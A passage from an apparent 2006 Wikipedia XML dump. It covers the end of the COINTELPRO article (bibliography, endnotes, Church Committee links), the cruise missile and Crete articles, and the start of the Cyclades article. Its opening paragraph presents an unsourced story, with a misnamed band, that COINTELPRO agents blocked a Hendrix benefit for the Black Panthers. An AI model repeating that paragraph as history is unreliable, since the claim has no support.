On Memorial Day, 1970, during the University of California Berkeley's explosive political response to the bombing of Cambodia, the Jimi Hendrix Experienced played at the Berkeley Community Center. As a condition of safe-passage for the event, the Community-Relations Consultant retained to &quot;Cool-Out&quot; the locals introduced Jimi Hendrix to the wives of the leaders of the Black Panther Party: Artie Seal and Pat Hilliard. The meeting was restricted to the principals and afterward the announcement was made that Jimi Hendrix would perform a [[benefit concert]] for the Panthers {Black &amp; White} at Oakland Colosseum during September, 1970. It was not to be. COINTELPRO operatives in London intercepted this fusion of the Black Political Revolution and the White Cultural Revolution. Jimi Played Berkeley, but not Oakland.

==Further reading==
===Books===
* [[Ward Churchill|Churchill, Ward]], and Jim Vander Wall. '''The Cointelpro Papers: Documents from the FBI's Secret Wars Against Dissent in the United States'''. 467 pages. South End Press; 2nd edition ([[July 1]] [[2002]]).  ISBN 0896086488.
* Churchill, Ward, and Jim Vander Wall. '''Agents of Repression: The FBI's Secret Wars Against the Black Panther Party and the American Indian Movement'''.  509 pages. South End Press; 2nd edition ([[July 1]] [[2002]]).  ISBN 0896086461.
* Carson, Clayborne and David Gallen, editors. '''Malcolm X: The FBI File'''. 514 pages.  Carroll &amp; Graf Publishers. [[November 1]] [[1991]].  ISBN 0881847585.
* Cunningham, David. '''There’s Something Happening Here: The New Left, The Klan, and FBI Counterintelligence'''. 382 pages. University of California Press ([[March 10]] [[2004]]). ISBN 0520239970.
* '''Cointelpro''', ed. by Cathy Perkus. 190 pages. New York: Vintage, 1976
* Davis, James Kirkpatrick. '''Assault on the Left''', chapters 1 and 8. 240 pages. Praeger Trade ([[April 30]] [[1997]]). ISBN 0275954552.
* Garrow, David. '''The FBI and Martin Luther King, Jr.'''. Viking Pr; Reprint edition. 320 pages. [[February 1]] [[1983]]. ISBN 0140064869420. Yale University Press, Revised &amp; Expanded edition. 420 pages. [[August 1]] [[2006]]. ISBN 0300087314.
* Glick, Brian. '''War at Home: Covert Action Against U.S. Activists and What We Can Do About It'''. Boston: South End Press, 1989.  92 pages. South End Press; 1st ed edition ([[March 1]] [[1989]]).  ISBN 0896083497.
*Halperin, [[Morton]]; Berman, Jerry; Borosage Robert; Marwick, Christine.  '''The Lawless State: The Crimes Of The U.S. Intelligence Agencies''' (279 pages, copyright 1976).  ISBN 0140043861.
* Blacstock, Nelson. '''Cointelpro: The FBI's Secret War on Political Freedom''' (203 pages, copyright (1975), 1988). Pathfinder Press (Third Edition with Introduction by Noam Chomsky) ISBN 0873488776

===U.S. Government reports===
* U.S. Congress. House. Committee on Internal Security. '''Hearings on Domestic Intelligence Operations for Internal Security Purposes'''. 93rd Cong., 2d sess, 1974.
* U.S. Congress. House. Select Committee on Intelligence. '''Hearings on Domestic Intelligence Programs'''. 94th Cong., 1st sess, 1975.
* U.S. Congress. Senate. '''Committee on Government Operations. Permanent Subcommittee on Investigations. Hearings on Riots, Civil and Criminal Disorders'''. 90th Cong., 1st sess. - 91st Cong. , 2d sess, 1967-1970.
* U.S. Congress. Senate. Select Committee to Study Governmental Operations with Respect to Intelligence Activities. '''Hearings &amp;mdash; The National Security Agency and Fourth Amendment Rights. Vol. 6'''. 94th Cong., 1st sess, 1975.
* U.S. Congress. Senate. Select Committee to Study Governmental Operations with Respect to Intelligence Activities. '''Hearings &amp;mdash; Federal Bureau of Investigation. Vol. 6'''. 94th Cong., 1st sess, 1975.
* U.S. Congress. Senate. Select Committee to Study Governmental Operations with Respect to Intelligence Activities. '''Final Report &amp;mdash; Book II, Intelligence Activities and the Rights of Americans'''. 94th Cong., 2d sess, 1976.
* U.S. Congress. Senate. Select Committee to Study Governmental Operations with Respect to Intelligence Activities. '''Final Report &amp;mdash; Book III , Supplementary Detailed Staff Reports on Intelligence Activities and the Rights of Americans'''. 94th Cong., 2d sess, 1976.

==See also==
* [[Fred Hampton]]
* [[Viola Liuzzo]]
* [[H. Bruce Franklin]]
* [[THERMCON]]
* [[Operation Mockingbird]]
* [[Weather Underground]]
* [[Morris Starsky]]
* Song &quot;Wake Up&quot; by [[Rage Against The Machine]]
* Song &quot;No Justice, No Peace&quot; by [[Aus-Rotten]]
* Song &quot;Your Next Bold Move&quot; by [[Ani Difranco]]
* Song &quot;With Friends Like These Who the Fuck Needs Cointelpro&quot; by [[Propagandhi]]

==Endnotes==
# {{note|church}} [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIa.htm http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIa.htm], retrieved [[August 14]] [[2005]].
# {{note|church-castigation}} [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIa.htm http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIa.htm], retrieved [[August 14]] [[2005]].
# {{note|infiltration}} As an example of infiltration of organizations, Bill Wilkinson, the leader of the Invisible Empire, Knights of the Ku Klux Klan, was an FBI informant.
# {{note|psychological-warfare}} An example of COINTELPRO's work in the media is a series of articles run in the San Francisco Examiner purporting to be interviews with radical Marxist [[H. Bruce Franklin]]. A subsequent libel suit showed that right-wing columnist Ed Montgomery had cooperated closely with the FBI in writing the story, and that J. Edgar Hoover had signed off on the articles before publication. [http://www.sfbg.com/39/03/cover_anniversary_intro.html http://www.sfbg.com/39/03/cover_anniversary_intro.html], retrieved [[August 14]] [[2005]]. In another example, the FBI also carried out a smear campaign against civil rights activist [[Viola Liuzzo]] after she was murdered by four [[Ku Klux Klan]] members, of whom one was a paid FBI informant. [http://www.detnews.com/2004/metro/0409/30/c01-289311.htm http://www.detnews.com/2004/metro/0409/30/c01-289311.htm], retrieved [[August 14]] [[2005]].
# {{note|black-bag}} [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIf.htm http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIf.htm], retrieved [[August 14]] [[2005]].
# {{note|extralegal-force-and-violence}} Brian Glick, ''War at Home'' (South End Press). An example of a burglary is discussed at [http://www.sfbg.com/39/03/cover_anniversary_intro.html http://www.sfbg.com/39/03/cover_anniversary_intro.html], retrieved [[August 14]] [[2005]]. An example of involvement in violent acts is the 1965 murder of civil rights activist [[Viola Liuzzo]] by four Klansmen, of whom one was FBI informant Gary Rowe.  The Church Committee also found that, &quot;while performing duties paid for by the Government, [Rowe] had ... 'beaten people severely, had boarded buses and kicked people, had [gone] into restaurants and beaten them [blacks] with blackjacks, chains, pistols.'&quot; [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIa.htm http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIa.htm], retrieved [[August 14]] [[2005]]. Another example noted by the Church Committee was &quot;Sending an anonymous letter to the leader of a Chicago street gang (described as 'violence-prone') stating that the Black Panthers were supposed to have 'a hit out for you'. The letter was suggested because it 'may intensify . . . animosity' and cause the street gang leader to 'take retaliatory action'&quot; [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIa.htm http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIa.htm], retrieved [[August 14]] [[2005]].

==External links==
===Documentary===
* [http://www.democracynow.org/article.pl?sid=03/04/07/0259253&amp;mode=thread&amp;tid=5 ''&quot;Me and My Shadow&quot;: A History of the FBI's Covert Operations and COINTELPRO - Part 1'']. 34:21 minute Real Audio. Produced by Adi Gevins, Pacifica Radio. 1976. Rebroadcast by '''[[Democracy Now!]]''' Wednesday, [[June 5]] [[2002]]. Retrieved [[May 12]] [[2005]]. 
* [http://www.democracynow.org/article.pl?sid=03/04/07/0259257&amp;mode=thread&amp;tid=5 ''&quot;Me and My Shadow&quot;: A History of the FBI's Covert Operations and COINTELPRO - Part 2'']. 13:43 minute Real Audio. Produced by Adi Gevins, Pacifica Radio. 1976. Rebroadcast by '''Democracy Now!''' Thursday, [[June 6]] [[2002]]. Retrieved [[May 12]] [[2005]].

===Websites===
*[http://www.oilempire.us/cointelpro.html COINTELPRO now]
* [http://www.cointel.org Paul Wolf's COINTELPRO website, a detailed reference site]. Retrieved [[April 19]] [[2005]]. 
* [http://www.sonic.net/~doretk/Issues/98-09%20FALL/coint.html COINTELPRO STILL LIVES by Sista Shiriki Unganisha]
* [http://www.icdc.com/~paulwolf/cointelpro/coinwcar3.htm COINTELPRO: The Untold American Story - presented to U.N. World Conference Against Racism 2001 by the U.S. Congressional Black Caucus]
* [http://www.judibari.org The Judi Bari case, COINTELPRO in the 1990s]. Retrieved [[April 19]] [[2005]].
* [http://www.whatreallyhappened.com/RANCHO/POLITICS/COINTELPRO/cointelpro.html COINTELPRO: the Sabotage of Legitimate Dissent], ''What Really Happened'', [[June 5]] [[1998]].
* [http://www.whatreallyhappened.com/RANCHO/POLITICS/COINTELPRO/coloring.html Fake ''Black Panther Party'' coloring book distributed by the FBI]

===U.S Government reports===
'''Final Report of the Select Committee to Study Governmental Operations with Respect to Intelligence Activities'''. United States Senate, 94th Congress, 2nd Session, [[April 26]] (legislative day, [[April 14]]), 1976. [AKA &quot;Church Committee Report&quot;]. Archived on [http://www.cointel.org COINTELPRO sources website]. Transcription and html by Paul Wolf. Retrieved [[April 19]] [[2005]]. 

* '''Intelligence Activities and the Rights of Americans, Book II'''

: I. [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIa.htm Introduction and Summary]
: II. [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIb.htm The Growth of Domestic Intelligence: 1936 to 1976]
: III. [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportfindings.htm Findings]
:: (A) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIca.htm Violating and Ignoring the Law]
:: (B) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIcb.htm Overbreadth of Domestic Intelligence Activity]
:: (C) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIcc.htm Excessive Use of Intrusive Techniques]
:: (D) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIcd.htm Using Covert Action to Disrupt and Discredit Domestic Groups]
:: (E) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIce.htm Political Abuse of Intelligence Information]
:: (F) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIcf.htm Inadequate Controls on Dissemination and Retention]
:: (G) [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIcg.htm Deficiencies in Control and Accountability]
: IV. [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIId.htm Conclusions and Recommendations] 

* '''Supplementary Detailed Staff Reports, Book III'''

** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIa.htm COINTELPRO: The FBI's Covert Action Programs Against American Citizens]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIb.htm Dr. Martin Luther King, Jr., Case Study]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIc.htm The FBI's Covert Action Program to Destroy the Black Panther Party]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIId.htm The Use of Informants in FBI Intelligence Investigations]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIe.htm Warrantless FBI Electronic Surveillance]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIf.htm Warrantless Surreptitious Entries: FBI &quot;Black Bag&quot; Break-ins And Microphone Installations]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIg.htm The Development of FBI Domestic Intelligence Investigations]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIh.htm Domestic CIA and FBI Mail Opening]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIi.htm CIA Intelligence Collection About Americans: CHAOS Program And The Office of Security]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIj.htm National Security Agency Surveillance Affecting Americans]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIk.htm Improper Surveillance of Private Citizens By The Military]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIl.htm The Internal Revenue Service: An Intelligence Resource and Collector]
** [http://www.icdc.com/~paulwolf/cointelpro/churchfinalreportIIIm.htm National Security, Civil Liberties, And The Collection of Intelligence: A Report On The Huston Plan ]


[[Category:CIA operations]]
[[Category:History of anti-communism in the United States]]
[[Category:History of civil rights in the United States]]
[[Category:Law enforcement in the United States]]
[[Category:Propaganda]]

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  </page>
  <page>
    <title>Cruise missile</title>
    <id>6590</id>
    <revision>
      <id>40847992</id>
      <timestamp>2006-02-23T11:34:15Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no copyright information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">[[Image:Tomahawk_cruise_missile.jpg|thumb|300px|A Tomahawk cruise missile]] 
A '''cruise missile''' is a [[guided missile|guided]] [[missile]] which uses a lifting wing and most often a [[jet]] propulsion system to allow sustained flight.  Cruise missiles are, in essence, unmanned [[aircraft]].  They are generally designed to carry a large conventional or [[nuclear weapon|nuclear]] warhead many hundreds of miles with excellent accuracy. Modern cruise missiles normally travel at high [[subsonic]] speeds, are self-navigating, and fly low in order to avoid [[radar]] detection.

==Concise history==
The first cruise missile developed was the Kettering Bug, developed in 1917 for use in [[World War I]].  This used a biplane configuration, and flew in a straight line for a predetermined time, at which point the wings were detached and the fuselage, containing the warhead, fell to the ground.  It was not used offensively, as [[World War I]] ended before it was deployed.  Cruise missiles were first employed by [[Nazi Germany]] during [[World War II]].  Introduced in [[1944]], the [[V-1 flying bomb|V-1]] was the first weapon to use the classic cruise missile layout of a bomb-like fuselage with short wings and a dorsally mounted engine, along with a simple inertial [[guidance system]].  The V-1 was propelled by a crude [[pulse jet engine|pulse-jet]] engine, the sound of which gave the V-1 its nickname of &quot;buzz bomb&quot;.  However, the V-1 did not have the level of accuracy of a modern tactical cruise missile.   The V-1 and similar early weapons are often referred to as [[flying bomb]]s.  Japan, in an effort to gain a tactical advantage against the allied forces resorted to [[kamikaze]] aircraft, such as the purpose-built [[Ohka]], another early predecessor to the super-accurate cruise missiles of today.

[[Image:ALCMCruiseMissile.JPG|thumbnail|left|ALCM in museum]]
During the [[Cold War]], both the [[United States]] and the [[Soviet Union]] experimented further with the concept, deploying early cruise missiles from submarines and aircraft. This was due to the technical difficulties involved in the development of accurate submarine launched ballistic missiles.  The main outcome of the project in the US was the Regulus missile, based upon the V-1. The Soviet Union was especially fond of large cruise missiles. The United States had a program to develop a nuclear-powered cruise missile, [[Project Pluto]]. Although the concept was proven sound, none were ever test-launched.  While [[ballistic missile]]s were the weapons of choice for land targets, heavy nuclear and conventional tipped cruise missiles were seen by the USSR as a primary weapon to destroy US [[carrier battle group]]s.  Large submarines (e.g. [[Echo class submarine|Echo]] and [[Oscar class submarine|Oscar]] classes) were developed to carry these weapons and shadow US battle groups at sea, and large bombers (e.g. [[Tupolev Tu-22M|Backfire]], [[Tupolev Tu-95|Bear]], and [[Tupolev Tu-160|Blackjack]] models) were equipped with the weapons in their air launched cruise missile (ALCM) configuration.

==Design==
===Missions===
The most common mission is to attack relatively high value targets such as ships, command bunkers, bridges and dams.  Modern guidance system permit precise attacks.  Cruise missiles are well-suited to assassination, but most organizations with the means to fund development avoid assassination as a policy.

===Warhead===
Most cruise missiles carry about 500 kg of explosives, because most were designed to sink ships and destroy bunkers.

See [[Nuclear Weapon]], [[Explosives]].

===Aerodynamics===
See [[Aircraft]], [[Aerodynamics]], [[Wing]]

===Engine===
See [[Jet Engine]], [[Ramjet]]

===Guidance===
The lowest cost system in wide use uses a [[radar altimeter]], barometric altimeter and [[clock]] to navigate a [[digital]] strip [[map]].  Some systems may now use [[satellite navigation]] or [[inertial guidance]], but these are substantially more expensive, and [[GPS]] systems are only slightly more accurate than a map-based system.

==Main cruise missile versions==
===Conventionally armed===
&lt;!-- Image with unknown copyright status removed: [[Image:Brahmos.jpg|thumb|right|250px|[[BrahMos]] [[supersonic]] cruise missiles travel at the speed of Mach 2.8 and have a range of 290 km.]] --&gt;(As of [[2001]]) the BGM-109 [[Tomahawk missile]] model has become a significant part of the US naval arsenal.  It gives ships and submarines an extremely accurate, long-range, conventional land attack weapon.  Each costs about $1,900,000 USD. The [[United States Air Force|US Air Force]] deploys an air launched cruise missile, the [[AGM-86]].  It can be launched from bombers like the [[B-52 Stratofortress]]. Both the Tomahawk and the AGM-86 were used extensively during [[Operation Desert Storm]]. The [[United Kingdom|British]] [[Royal Navy]] (RN) also operates cruise missiles, specifically the Tomahawk, used by the RN's nuclear submarine fleet. Conventional warhead versions were first fired in combat by the RN in [[1999]], during the [[Kosovo War]].

Both Tomahawk (as AGM-109) and ALCM (AGM-86) were originally developed as competing designs for the USAF ALCM nuclear tipped cruise missile competition.
The USAF adopted the AGM-86 for its bomber fleet while AGM-109 was adapted to launch from trucks and ships and adopted by the USAF and Navy. 
The truck launched versions were later destroyed under the bilateral INF (Intermediate Range Nuclear Forces) treaty with the USSR which also saw the end of the Pershing II and SS-20 Intermediate Range Ballistic Missiles.

The UK and France operate the [[Storm Shadow]].
{{section-stub}}

===Nuclear warhead versions===
The US has 460 [[AGM-129 Advanced Cruise Missile]]s (ACMs) with a W80 nuclear warhead for [[B-52 Stratofortress]] (B-52H) external carriage. Also there are ca. 350 sea launched cruise missiles with the same nuclear warhead. They all remain in storage.

''See also'':
*[[The United States and weapons of mass destruction]]
*[[Intermediate-Range Nuclear Forces Treaty]]
*[[Woensdrecht]]
{{section-stub}}

==Trivia: A &quot;DIY&quot; cruise missile==
There was also a project by a [[New Zealand]]er named Bruce Simpson to design and test fly a home-built cruise missile.  It was funded by private investors, and it was planned to be built for under $5,000, which is remarkably cheaper than the approximate 1.9 million USD used to build the Tomahawk.

Simpson intended to use readily available components to build a basic missile system. His extensive experience in the building of [[radio control]]led [[model aircraft]] would be employed in airframe and control surface design. A commercially available [[GPS]] unit linked to a standard [[programmable logic controller|PLC]] unit running custom developed software would be used for guidance and control. Propulsion would come from a pulse jet engine of his own design.

Payload was intended to be in the region of 10&amp;ndash;15 [[kilogram]]s. Not enough to do significant damage if loaded with conventional explosives but sufficient to be used as a dispersal system for biological/chemical agents.

In late [[2003]], however, Simpson ran into tax difficulties, and ended the project. He later claimed that his tax problems were the result of a government attempt to shut him down.

==See also==
{{commons|Cruise missile}}
* [[Precision guided munition]]
* [[Buzz bomb]]
* [[Armored Box Launcher]]
* [[Vertical Launch System]]
* [[Sunburn missile]]

==External links==
*[http://www.fas.org/nuke/intro/cm/index.html An introduction to cruise missiles] &amp;ndash; From the website of the Federation of American Scientists (FAS)
*[http://www.aardvark.co.nz/pjet/cruise.shtml The DIY cruise missile]
*[http://www.activistmagazine.com ACT for Disarmament]
*[http://www.brahmos.com BRAHMOS, a supersonic Indo-Russian cruise missile]

{{Missile types}}

{{airlistbox}}

[[Category:Cruise missiles|*]]
[[Category:Missile types]]
[[Category:Unmanned vehicles]]

[[de:Marschflugkörper]]
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[[fa:موشک کروز]]
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[[ru:Крылатая ракета]]
[[fi:Risteilyohjus]]
[[sv:Kryssningsrobot]]</text>
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  </page>
  <page>
    <title>Crete</title>
    <id>6591</id>
    <revision>
      <id>42051238</id>
      <timestamp>2006-03-03T13:36:33Z</timestamp>
      <contributor>
        <username>Stevepeterson</username>
        <id>535278</id>
      </contributor>
      <comment>/* Personalities */</comment>
      <text xml:space="preserve">{{otheruses}} 
{{Infobox Peri GR
|name = Crete
|name_local = Περιφέρεια Κρήτης
|image_map = GreeceCrete.png
|prefec = [[Chania Prefecture|Chania]]&lt;br&gt;[[Heraklion Prefecture|Heraklion]]&lt;br&gt;[[Lasithi]]&lt;br&gt;[[Rethymno Prefecture|Rethymno]] 
|capital = [[Heraklion]]
|population = 623,666
|population_as_of = 2005
|pop_dens = 75
|area = 8,336
|website = [http://www.crete-region.gr/ www.crete-region.gr]
}} 
'''Crete''' ([[List of traditional Greek place names|Greek]] Κρήτη / Kriti, [[Turkish Language|Turkish]]: ''Girit'') is the largest of the [[Greece|Greek]] islands and the fifth largest in the [[Mediterranean Sea]]. It is located at approximately {{coor d|35|N|24|E|}}.

Tourist attractions in Crete include archeological sites at [[Knossos]], [[Phaistos]], [[Gortys]] and many other places, the Venetian castle in [[Rethymno]], the [[Samaria Gorge]] and many other minor gorges (Agia Irini, Aradena, etc).

[[Image:Crete location map.png|right|thumb|250px|Greece and Crete]]
Crete was the location of the [[Minoan civilization]] (ca. [[26th century BCE|2600]]&amp;ndash;[[1400s BCE|1400 BCE]]), one of the first [[civilization]]s in [[Europe]].

==History==

:''For main article, see'' [[History of Crete]]

==Geography==
[[Image:Crete Nasa.jpg|thumb|250px|Satellite image of Crete ([[NASA]])]]
Crete is one of the 13 regions of Greece. It is the biggest island in Greece and the second biggest (after [[Cyprus]]) of the East Mediterranean. Crete has an elongated shape - 260 km. from west to east and at its widest 60 km, the island is narrower at certain points, such as in the region close to Ierapetra where it has a width of only 12 km. It covers an area of 8,336 km&amp;sup2; and a coastline 1046 km. long. To the north Crete borders with the [[Sea of Crete]] (Greek: Κρητικό Πέλαγος), to the south it is bordered by the [[Libyan Sea]] (Greek: Λιβυκό Πέλαγος), to the west the [[Myrtoon Sea]], to the east the [[Karpathion Sea]]. Its population is 650,000 people (as of [[2005]]). The island is 260 km long and varies in width from 60 km (measured from the Dion cape to the Lithinon cape), to only 12 km at the Isthmus of Ierapetra in eastern Crete. The coast is deeply indented, giving Crete over 1,000 km of shoreline. Crete lies approximately 160 km south of the Greek mainland.

The island is extremely mountainous and is defined by a high mountain range crossing it from West to East, formed by three different groups of mountains. These are:

* the White Mountains or ''Lefka Ori'' (up to 2,452 m high);
* the Idi  range ([[Psiloritis]] ({{coor d|35.18|N|24.82|E|}}) 2,456 m);
* the Dikti mountains (up to 2,148 m high)

These mountains gifted Crete with fertile plateaus like Lasithi, Omalos and Nidha, caves like Diktaion and Idaion cave, and gorges like the famous Gorge of Samaria.

== Climate ==

Crete straddles two climatic zones, the Mediterranean and the North African, mainly falling within the former. As such, the climate in Crete is primarily temperate. The atmosphere can be quite humid, depending on the proximity to the sea. The winter is fairly mild. Snow fall is practically unknown to the plains, but quite frequent in the mountains. During summer, average temperatures are in the high 20's-low 30's (Celsius). The exception can be the south coast, including the Messara plain and Asterousia mountains, which fall in the North African climatic zone and thus enjoys significantly more sunny days and high temperatures during the summer. Probably the best time to visit Crete is spring and fall.

== Economy ==

The economy of Crete, which was mainly based on farming, started changing visibly during the [[1970s]]. While there is still an emphasis on farming and stock breeding, due to the climate and the terrain of the island, there is a drop in manufacturing and a big increase on the services industry (mainly tourism related). All three sectors of the Cretian economy (agriculture, processing-packaging, services), are directly connected and interdependent. Crete has an average per capita income which is close to 100% of the Greek average. Unemployment is at approximately 4%, half of that of Greece.

The island has three significant airports, [[Heraklion International Airport, &quot;Nikos Kazantzakis&quot;|Nikos Kazantzakis]] at [[Heraklion]], the military airport [[Daskalogiannis]] at [[Chania]] and a new public airport in [[Sitia]].

== Personalities ==

* [[El Greco]] ([[Spanish language|medieval Castilian]] nickname meaning &quot;the [[Greece|Greek]]&quot;), by which '''Δομήνικος Θεοτοκόπουλος''' ''Domênikos Theotokópoulos'', is best known. (Born [[1541]], [[Fodele]], [[Heraklion]] and died in [[April 7]], [[1614]], [[Toledo, Spain]]), a world-famous [[painter]], [[sculpture|sculptor]] and [[architect]]
* [[Eleftherios Venizelos]] ([[1864]]-[[1936]]), Politician, Prime-Minister of the Hellenic Republic 1910-1915, 1924, 1928-1933 
* [[Epimenides]] of [[Knossos]], [[6th century BC]], a famous [[prophet|seer]] and [[philosopher]]-[[Poetry|poet]], associated with the [[Epimenides paradox]] who is said to have fallen asleep for fifty-seven years in a Cretian cave sacred to [[Zeus]], after which he reportedly awoke with the gift of prophecy.
* [[Mikis Theodorakis]] (born.[[1926]]), Music Composer([[Zorba the Greek]])
* [[Nikos Kazantzakis]] ([[1885]]-[[1957]]), world-famous writer, novelist, poet 
* [[Konstantinos Mitsotakis]] (born.[[1918]]), politician, Prime-Minister of the Hellenic Republic 1990-1993
* [[Vitsentzos Kornaros]] (Greek Βικέντιος Κορνάρος) or Vincenzo Cornaro (Sitia, 1553-Candia, 1613, alternate spellings: Vicenzo, Vitzentzos), a Cretian poet of the Greek Renaissance who wrote the romantic epic poem [[Erotokritos]]. He was the leading figure of the Cretian Renaissance.

==Cities==

Crete's principal cities are:

* [[Heraklion]] (''Iraklion'' or ''Candia'') (275,000 inhabitants)
* [[Chania]] (''Haniá'') (139,000 inhabitants)
* [[Rethymno]] (69,290 inhabitants)
* [[Ierapetra]] (21,025 inhabitants)
* [[Agios Nikolaos, Crete|Agios Nikolaos]] (19,000 inhabitants)
* [[Sitia]] (9,075 inhabitants)

==Political organization==

The island of Crete is a [[peripheries of Greece|periphery]] of Greece, consisting of four [[Prefectures of Greece|prefectures]] ([[Greek language|Greek]]: νομοί):
* [[Chania Prefecture|Chania]]
* [[Heraklion Prefecture|Heraklion]]
* [[Lasithi]]
* [[Rethymno Prefecture|Rethymno]]

For [[amateur radio]] purposes it is considered to be a separate &quot;entity,&quot; [[prefix]] SV9.

== Tourism ==
Crete is one of the most popular holiday destinations in Greece. Fifteen percent of all arrivals in Greece come through the city of Iraklion (port and airport), while charter flights to Iraklion were last year 20% of the total of charter flights in Greece. In sum more than two million tourists visited Crete last year. This increase in tourism is reflected on the number of hotel beds, which increased in Crete by 53% from 1986 to 1991 while in the rest of Greece the increase was 25%. Today the tourism infrastructure in Crete caters to all tastes. There is accommodation of every possible category, from large luxury hotels with all the facilities (swimming pools, sports and recreation facilities etc.), to smaller family owned apartments, to camping facilities. Visitors can arrive at the island through two international airports in Iraklion and Hania, or by boat to the ports of Iraklion, Hania, Rethimno and Agios Nikolaos.

==See also==
* [[History of Crete]]
* [[Music of Crete]]
*[[Former countries in Europe after 1815]]
* [[Minoan civilization]]

== External links ==
{{Commons|Category:Crete}}
*[http://www.cretan-music.gr Traditional Cretian Music (Greek)]
*[http://www.uch.gr University of Crete]
*[http://www.tuc.gr Technical University of Crete]
*[http://www.teicrete.gr Technological Educational Institute of Crete]

{{Peripheries of Greece}}

[[Category:Crete |*]]
[[Category:Islands of Greece]]
[[Category:Peripheries of Greece]]
[[Category:Former countries in Europe]]
[[Category:NUTS 2 Statistical Regions of Europe]]

[[ar:كريت]]
[[bg:Крит]]
[[bs:Kreta]]
[[ca:Creta]]
[[cs:Kréta]]
[[da:Kreta]]
[[de:Kreta]]
[[et:Kreeta]]
[[el:Κρήτη]]
[[es:Creta]]
[[fr:Crète]]
[[it:Creta]]
[[he:כרתים]]
[[id:Crete]]
[[la:Creta]]
[[lt:Kreta]]
[[nl:Kreta]]
[[ja:クレタ島]]
[[no:Kreta]]
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[[ru:Крит]]
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[[sr:Крит]]
[[fi:Kreeta]]
[[sv:Kreta]]
[[tr:Girit]]
[[zh:克里特]]</text>
    </revision>
  </page>
  <page>
    <title>Cyclades</title>
    <id>6592</id>
    <revision>
      <id>39308779</id>
      <timestamp>2006-02-12T06:22:41Z</timestamp>
      <contributor>
        <ip>88.110.227.226</ip>
      </contributor>
      <comment>/* External links */  link to Capn Barefoot</comment>
      <text xml:space="preserve">{{Infobox Pref GR|
name = Cyclades|
name_local = Νομός Κυκλάδων|
image_map =  GreeceCyclades.png|
periph = [[South Aegean]] |
capital = [[Ermoupoli]]|
population = 119,549 |
population_as_of = 2005|
pop_rank = 29th|
pop_dens = 46.5|
popdens_rank = 34th|
area = 2,572 |
area_rank = 23rdh|
postal_code = 84x xx|
area_code = 228x0|
licence = &amp;Epsilon;&amp;Mu;|
provinces = |
municip = 20|
commun = 11|
ISO = GR-82|
website = |
}}
The '''Cyclades''', from the [[Greek language|Greek]] &amp;#922;&amp;#965;&amp;#954;&amp;#955;&amp;#940;&amp;#948;&amp;#949;&amp;#962;, (&quot;circular,&quot; modern Greek ''Kykládes''; see also [[List of traditional Greek place names]]) form an [[island]] group south-east of the mainland of [[Greece]]. They are a part of the [[Greek islands|vast number of islands]] which constitute the Greek [[archipelago]] in the [[Aegean Sea]]. The name was originally used to indicate those islands that formed a rough circle around the sacred island of [[Delos]] (''map'').

The Cyclades are comprised of around 220 islands, with the major ones being [[Amorgos]], [[Anafi]], [[Andros|Ándros]], [[Antiparos]], [[Delos]], [[Ios]], [[Kea (island)|Kéa]], [[Kimolos]], [[Kynthos]],  [[Milos|Mílos]], [[Mykonos]], [[Naxos, Greece|Náxos]], [[Paros|Páros]], [[Pholegandros]], [[Serifos]], [[Sifnos]], [[Sikinos]], [[Siros|Síros]], [[Tinos|Tínos]], and [[Santorini|Santorini (Thira)]]. 
 

[[Ermoupolis]], on Síros, is the chief town and administrative center of the group.  
The islands are peaks of a submerged mountainous terrain, with the exception of two [[volcano|volcanic]] islands, [[Melos]] and Santorini (Thera). The  [[climate]] is generally dry and mild, but with the exception of Naxos the soil is not very fertile: agricultural produce includes [[wine]], [[fruit]], [[wheat]], [[olive oil]], and [[tobacco]].  Cooler temperatures are in higher elevations and mainly do not receive wintry weather.  In transportation, the Cyclades is the only prefecture in Greece that is not linked with a state-maintained highway or a highway number.  All of its roads in the island complex are secondary or provincial.

==History==
The significant Late Neolithic and Early Bronze Age '''Cycladic culture''' is best known for its schematic flat female idols carved out of the islands' pure white marble centuries before the great Middle Bronze Age (&quot;[[Minoan civilization|Minoan]]&quot;) culture arose in Crete, to the south: these figures have been looted from burials to satisfy a thriving Cycladic antiquities market since the early 20th century. 

